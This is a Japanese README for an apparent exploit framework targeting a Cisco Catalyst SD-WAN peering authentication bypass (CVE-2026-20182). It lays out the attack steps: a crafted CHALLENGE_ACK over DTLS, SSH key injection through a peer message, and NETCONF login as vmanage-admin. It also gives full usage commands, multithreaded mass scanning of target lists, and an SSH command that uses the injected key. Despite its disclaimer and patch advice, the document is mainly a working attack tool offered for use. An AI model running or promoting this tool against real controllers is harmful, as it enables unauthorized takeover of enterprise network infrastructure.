
Cisco Catalyst SD-WAN ピアリング認証バイパス
Cisco Catalyst SD-WAN ピアリング認証バイパス
Cisco Catalyst SD-WAN Controller / Manager のピアリング認証バイパス (CVE-2026-20182) を、許可を得た環境でテストするための評価ツールです。
| CVE | CVE-2026-20182 |
| 深刻度 | 緊急 (CVSS 10.0) |
| CVSS 3.1 | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| 製品 | Cisco Catalyst SD-WAN Controller (旧 vSmart) · Cisco Catalyst SD-WAN Manager (旧 vManage) |
| 問題 | ピアリング認証メカニズムが正しく強制されない |
| スクリプト | CVE-2026-20182.py |
2026年5月のアドバイザリ: コントロール接続のハンドシェイク / ピアリング認証の欠陥により、認証されていないリモートの攻撃者が認証をバイパスし、影響を受けるシステム上で高特権の内部アクセスを取得できる可能性があります。
攻撃者は影響を受けるシステムに細工したリクエストを送信します。成功すると、攻撃者は内部の高特権・非rootアカウントとして認証され、NETCONF に到達して SD-WAN ファブリック設定を操作できる可能性があります。
推奨事項: 公式ベンダーのガイダンスに従って Cisco のセキュリティ修正を適用してください。管理プレーンの露出を制限し、コントロールプレーンの接続を監視し、SD-WAN コントローラに不正な設定変更がないか監査してください。
Telegram: @KNxploited
CVE-2026-20182.pyCisco SD-WAN vdaemon (UDP/DTLS 12346) を標的とした CVE-2026-20182 用の Python 3 エクスプロイトフレームワークです。
ファブリックフォールバック: TEAR_DOWN またはパラメータ不一致時、--no-fallback が指定されていない限り、代替の domain/site プリセット (1,100)、(1,1)、(0,0) で再試行します。
重要
check モード → 最大でもティア 03 (バイパスプローブ)。完全なエクスプロイトの証明ではありません。full モード → ティア 01 (ssh_verified) を目指します。https://host → TCP Web ヒントのみ (80/443)。443 の UDP DTLS ではありません。pip install -r requirements.txt
Windows
bin\ を PATH に追加するか、以下を設定:OPENSSL_HOME=C:\Program Files\OpenSSL-Win64
Linux
# Debian/Ubuntu
sudo apt install libssl3 openssl
export LD_LIBRARY_PATH=/usr/lib/x86_64-linux-gnu:$LD_LIBRARY_PATH
OpenSSL を読み込めない場合、ツールは起動時に終了します。
python CVE-2026-20182.py
0 = スキャン開始check (安全なバイパスプローブ)python CVE-2026-20182.py -y
CHECK — バイパスプローブのみ
python CVE-2026-20182.py -y --mode check
FULL — 鍵の注入 + SSH 検証 (許可されたターゲットのみ)
python CVE-2026-20182.py -y --mode full
-f / --file — ターゲットリスト (デフォルト: targets.txt)
python CVE-2026-20182.py -y -f my_controllers.txt --mode check
-t / --threads — ワーカースレッド数 (1〜200、デフォルト 12)
python CVE-2026-20182.py -y -f targets.txt -t 30 --mode check
--domain — リストにない場合のデフォルト DOMAIN_ID (デフォルト: 1)
python CVE-2026-20182.py -y -f targets.txt --domain 1 --site 100 --mode check
--site — リストにない場合のデフォルト SITE_ID (デフォルト: 100)
python CVE-2026-20182.py -y -f targets.txt --domain 1 --site 50 --mode full
--mode — check | full
python CVE-2026-20182.py -y --mode full -f targets.txt
-y / --yes — 対話型メニューをスキップし、CLI の値のみを使用
python CVE-2026-20182.py -y -f targets.txt --mode check -t 20
--no-ssh-verify — 注入後の SSH テストをスキップ (full モードでは非推奨)
python CVE-2026-20182.py -y --mode full --no-ssh-verify -f targets.txt
--verify-ssh22 — 830 に加えて TCP 22 も試行
python CVE-2026-20182.py -y --mode full --verify-ssh22 -f targets.txt
--no-try-list-udp — UDP 12346 のみ、リストの :port は無視
python CVE-2026-20182.py -y --no-try-list-udp -f targets.txt --mode check
--extra-udp-ports — ラボ用: すべてのホストに追加の UDP ポート
python CVE-2026-20182.py -y --extra-udp-ports 8080,8443 -f targets.txt --mode check
--no-fallback — TEAR_DOWN 時の domain/site 再試行を無効化
python CVE-2026-20182.py -y --no-fallback -f targets.txt --mode full
-v / --verbose — 各プロトコル TX/RX メッセージをログに記録
python CVE-2026-20182.py -y -v -f targets.txt --mode check
-y 省略時)targets.txt の形式1行に1ターゲット。先頭が # の行は無視されます。
サンプルファイル
# Lab controllers — authorized only
10.10.10.1
10.10.10.2:12346:1:100
https://sdwan-controller.example.com
10.10.10.4:12346:1:1
非対応: IPv6 (IPv4 / ホスト名のみ)。
SSH コマンドの例 (ティア 01)
ssh -i "sdwan_keys/sdwan_10_10_10_1_12346_d1_s100.pem" [email protected] -p 830 -N
python CVE-2026-20182.py -y -f targets.txt --mode check -t 24
cisco_sdwan_03_bypass_only.jsonl とライブ統計の Bypass only を確認します。
python CVE-2026-20182.py -y -f confirmed_hosts.txt --mode full -t 8
cisco_sdwan_01_confirmed_ssh.jsonl — ssh_verified: true を含む唯一のファイルを確認します。
python CVE-2026-20182.py -y -f single.txt --mode full -t 1 -v --no-fallback
check — 鍵を書き出さず、単独で SSH を証明することもありません。full モードでのみ ssh_verified=true。CHALLENGE_ACK 後に TEAR_DOWN が発生することが多いです。ファブリックフォールバックを有効にするか、リスト内の domain/site を修正してください。sdwan_keys/ やスキャン結果を公開リポジトリにコミットしないでください。このソフトウェアは、許可を得たセキュリティ調査、防御的評価、教育のみを目的としています。
所有または運用していないシステムをテストするには、明示的な書面による許可が必要です。コンピュータシステムへの不正アクセスは違法です。作者は、本ツールの使用から生じる誤用、損害、または法的結果について一切責任を負いません。
セキュリティテストの実施について明示的に許可されているシステムとネットワークでのみ使用してください。
作者: Nxploited ( Khaled Alenazi )
| 項目 | 詳細 |
|---|
| 攻撃元区分 | ネットワーク |
| 必要な特権レベル | 不要 |
| ユーザー関与レベル | 不要 |
| 影響範囲 | 変更あり |
| 影響 | 機密性、完全性、および可用性 — 高 |
| ステップ | フェーズ | 説明 |
|---|
| 1 | ターゲットの読み込み | targets.txt を解析し、(host, domain_id, site_id) で重複をマージ |
| 2 | OpenSSL プリフライト | カスタム DTLS 用に OpenSSL 3.x/4.x 共有ライブラリを読み込み |
| 3 | DTLS 接続 | ターゲットの UDP ポートに接続 (常に 12346 を最初に試行し、その後リストのポートを試行) |
| 4 | CHALLENGE | サーバーの CHALLENGE (0x08) を受信 |
| 5 | CHALLENGE_ACK | vHub (type 2) として細工した CHALLENGE_ACK を送信 — 認証バイパス |
| 6 | Hello | Hello 交換を完了 — バイパス経路を確認 |
| 7a | CHECK モード | ここで停止 — バイパス / Hello OK のみ記録 (鍵の生成や SSH は行わない) |
| 7b | FULL モード | VMANAGE_TO_PEER 経由で SSH 公開鍵を注入 |
| 8 | Inject ACK | プロトコル確認応答として REGISTER_TO_VMANAGE (0x0D) を待機 |
| 9 | SSH 検証 | TCP 830 (NETCONF)、任意で 22 で vmanage-admin としてのログインをテスト |
| 10 | 出力 | 結果をティア別ファイルと人間が読めるコマンドリストに分類 |
| ティア | ファイル | 意味 |
|---|
| 01 — SSH 確認済み | cisco_sdwan_01_confirmed_ssh.jsonl | ssh_verified=true — 完全な侵害の証明として扱われる唯一のティア |
| 02 — Inject ACK のみ | cisco_sdwan_02_inject_ack_only.jsonl | プロトコルは鍵の注入を受け入れたが、SSH ログインは失敗 |
| 03 — バイパスのみ | cisco_sdwan_03_bypass_only.jsonl | Hello/バイパス OK、注入の確認なし |
| 要件 | 備考 |
|---|
| Python | 3.9+ |
| pip | cryptography, rich |
| OpenSSL | 3.x または 4.x 共有ライブラリ (libssl + libcrypto) — 必須 |
| モード | フラグ | SSH 注入 | SSH 検証 | 使用場面 |
|---|
| CHECK | --mode check (デフォルト) | なし | なし | 大量スクリーニング、バイパス検出 |
| FULL | --mode full | あり | あり (--no-ssh-verify 指定時以外) | 侵害の証明 |
| # | オプション |
|---|
| 1 | ターゲットファイル |
| 2 | ワーカースレッド数 |
| 3 | デフォルト DOMAIN_ID |
| 4 | デフォルト SITE_ID |
| 5 | モード: check / full |
| 6 | TEAR_DOWN 時のファブリック自動再試行 |
| 7 | 詳細なプロトコルログ |
| 8 | 注入後の SSH 検証 |
| 9 | SSH :22 も検証 |
| 10 | リストで明示された UDP ポートを試行 |
| 11 | 追加の UDP ポート (ラボ用) |
| 12 | リスト形式のヘルプを表示 |
| 0 | ▶ スキャン開始 |
| 形式 | 例 | 動作 |
|---|
| IP / ホスト名 | 10.0.0.1 | UDP 12346 + デフォルトの domain/site |
| IP + UDP ポート | 10.0.0.2:12346 | リストの UDP ポートも試行 |
| IP + ポート + domain + site | 10.0.0.3:12346:1:100 | 完全なファブリックタプル |
| HTTPS URL | https://10.0.0.4 | ホスト + TCP 443 ヒントのみ (UDP/443 ではない) |
| HTTP URL | http://10.0.0.5 | TCP 80 ヒントのみ |
| UDP URL | udp://10.0.0.6:12346 | 明示的な UDP |
| タブ/カンマ区切り | 10.0.0.7 12346 1 100 | 4フィールド形式と同じ |
| Key=value | 10.0.0.8;port=12346;domain=1;site=100 | セミコロン区切りの KV 構文 |
| ファイル | 内容 |
|---|
cisco_sdwan_results.jsonl | 試行ごとの生の JSON 結果 |
cisco_sdwan_success.txt | SSH 確認済みの行 (タブ区切り) |
cisco_sdwan_01_confirmed_ssh.jsonl | ティア 01 — SSH 検証済み |
cisco_sdwan_02_inject_ack_only.jsonl | ティア 02 — Inject ACK、SSH 失敗 |
cisco_sdwan_03_bypass_only.jsonl | ティア 03 — バイパス / Hello のみ |
cisco_sdwan_commands.txt | 人間が読める SSH コマンド |
cisco_sdwan_findings.json | セッションの要約 + 件数 |
sdwan_keys/ | 生成された秘密鍵 (full モード) |
| カウンター | 意味 |
|---|
| 進捗 | 処理済みターゲット / 合計 |
| SSH 検証済み | ティア 01 の件数 |
| Inject ACK | ティア 02 の件数 |
| Bypass only | ティア 03 の件数 |
| 失敗 | エラー / バイパスなし |